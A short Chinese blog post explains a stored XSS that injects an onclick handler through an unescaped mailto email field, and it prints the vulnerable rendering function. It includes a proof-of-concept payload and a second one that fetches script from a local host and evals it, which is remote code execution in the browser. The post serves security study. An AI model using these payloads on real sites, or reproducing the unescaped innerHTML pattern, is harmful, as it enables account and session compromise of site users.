利用mailto的xss payload

最新推荐文章于 2025-08-23 16:25:10 发布

J14NNN

最新推荐文章于 2025-08-23 16:25:10 发布

阅读量801

点赞数 7

CC 4.0 BY-SA版权

文章标签： xss 前端 javascript

本文链接：https://blog.csdn.net/zxj993853579/article/details/139994749

<bar"onclick="alert('XSS')"@foo>

以上面的代码作为email，会构造出

<a class="post-author" href="mailto:<bar" onclick="alert('XSS')" @foo="">"&gt;1</a>

点击邮箱弹出

简单利用：

<a"onclick="fetch('http://127.0.0.1/1').then(r=>r.text()).then(eval);"@b>

源码：

function renderPost(postData){

    var postStructure = `
    <header class="post-header">
        <h2 class="post-title"></h2>
        <p class="post-meta">
            By <a class="post-author" href="mailto:${postData.author_email}">${postData.author_name}</a> on <span class="post-date">${(new Date(postData.timestamp)).toLocaleString()}</span>
        </p>
    </header>
    <div class="post-body"><p></p></div>`;
    var post = document.createElement('SECTION');
    post.id = `post-${postData.post_id}`;
    post.className = "post";
    post.innerHTML = postStructure;

    post.querySelector('h2.post-title').innerText = postData.title;
    post.querySelector('div.post-body p').innerHTML = postData.content;

    return(post);

}